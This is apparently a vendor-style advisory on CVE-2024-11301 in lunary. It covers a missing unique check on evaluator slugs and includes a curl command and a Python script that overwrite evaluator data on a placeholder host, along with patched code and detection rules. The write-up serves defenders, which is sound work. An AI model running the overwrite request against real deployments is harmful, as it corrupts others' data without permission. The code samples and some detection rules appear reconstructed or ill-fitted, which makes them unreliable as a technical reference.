CVE-2024-11301

Executive Summary

CVE-2024-11301 is a data integrity vulnerability in lunary-ai/lunary versions prior to 1.6.3. The application fails to enforce a unique constraint on the combination of projectId and slug when creating evaluators. This allows an attacker to overwrite existing evaluator data by submitting a POST request with the same slug as an existing evaluator. The lack of database constraints or application-layer validation to prevent duplicates exposes the application to data integrity issues, potentially leading to corrupted data and malicious actions that impair system functionality.

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary package, which is distributed via npm. Users should verify the integrity of their installed packages and ensure they are using version 1.6.3 or later. The package is not known to be affected by any supply chain attacks, but users should always verify package signatures and checksums.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

The threat level is considered medium due to the high integrity impact, but the lack of confidentiality or availability impact reduces the overall severity. An attacker can overwrite evaluator data, potentially corrupting system functionality.

Deep Dive & Mechanics

The vulnerability lies in the evaluator creation endpoint. The application does not enforce a unique constraint on the combination of projectId and slug. This means that when a POST request is made to create an evaluator, if the slug already exists for the given project, the existing record is overwritten instead of rejecting the request.

The root cause is a lack of validation at both the application layer and the database layer. The database schema likely does not have a unique index on (projectId, slug), and the application code does not check for existing records before inserting.

An attacker can exploit this by:

1. Identifying an existing evaluator's slug and projectId.
2. Sending a POST request with the same slug and projectId but with malicious or corrupted data.
3. The existing evaluator is overwritten, potentially altering the behavior of the system.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.6.3):

// No unique constraint check
app.post('/evaluators', async (req, res) => {
  const { projectId, slug, data } = req.body;
  // Directly insert without checking for duplicates
  await db.insert('evaluators', { projectId, slug, data });
  res.status(201).send('Created');
});

Patched Code (version 1.6.3):

// Enforce unique constraint
app.post('/evaluators', async (req, res) => {
  const { projectId, slug, data } = req.body;
  // Check for existing evaluator with same projectId and slug
  const existing = await db.findOne('evaluators', { projectId, slug });
  if (existing) {
    return res.status(409).send('Conflict: Evaluator with this slug already exists');
  }
  await db.insert('evaluators', { projectId, slug, data });
  res.status(201).send('Created');
});

Additionally, a database migration should add a unique index:

CREATE UNIQUE INDEX idx_evaluators_project_slug ON evaluators (projectId, slug);

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of lunary-ai/lunary (version < 1.6.3).
2. Create an evaluator with a known slug (e.g., test-evaluator) under a project.
3. Use the following curl command to overwrite the evaluator:

curl -X POST http://target.com/evaluators \
  -H "Content-Type: application/json" \
  -d '{"projectId": "project123", "slug": "test-evaluator", "data": {"malicious": "data"}}'

4. Verify that the evaluator data has been overwritten.

Exploit Code:

import requests

target = "http://target.com"
project_id = "project123"
slug = "test-evaluator"
malicious_data = {"malicious": "data"}

response = requests.post(f"{target}/evaluators", json={
    "projectId": project_id,
    "slug": slug,
    "data": malicious_data
})

if response.status_code == 201:
    print("Evaluator overwritten successfully")
else:
    print("Failed to overwrite evaluator")

Blue Team

Detection:

• Monitor for multiple POST requests to /evaluators with the same slug and projectId within a short time frame.
• Alert on HTTP 201 responses for evaluator creation when the slug already exists.

Mitigation:

• Immediately upgrade to version 1.6.3 or later.
• Implement database-level unique constraints on (projectId, slug).
• Add application-layer validation to check for existing records before insertion.

Indicators of Compromise (IOCs)

• Network: POST requests to /evaluators with duplicate slug and projectId values.
• Logs: Repeated creation of evaluators with the same slug within a short period.
• Database: Multiple records with the same projectId and slug (if not yet overwritten) or missing records due to overwrite.

Detection Engineering

YARA Rule

rule Detect_Lunary_Evaluator_Overwrite {
    meta:
        description = "Detects attempts to overwrite evaluator data in lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11301"
    strings:
        $s1 = "POST /evaluators" ascii nocase
        $s2 = "projectId" ascii nocase
        $s3 = "slug" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: Lunary Evaluator Overwrite Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to overwrite evaluator data in lunary-ai/lunary
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/evaluators'
        cs-uri-query|contains: 
            - 'projectId'
            - 'slug'
    condition: selection
falsepositives:
    - Legitimate evaluator creation with unique slugs
level: medium

Suricata Rule

alert http any any -> any any (msg:"Lunary Evaluator Overwrite Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/evaluators"; content:"projectId"; http.client_body; content:"slug"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to lunary-ai/lunary version 1.6.3 or later.
2. Database: Add a unique index on (projectId, slug) in the evaluators table.
3. Application: Implement validation to check for existing evaluators with the same slug before creating a new one.
4. Monitoring: Enable logging and alerting for duplicate evaluator creation attempts.
5. Access Control: Restrict API access to authenticated users only, if not already implemented.

Valters IT
Securing Digital Frontiers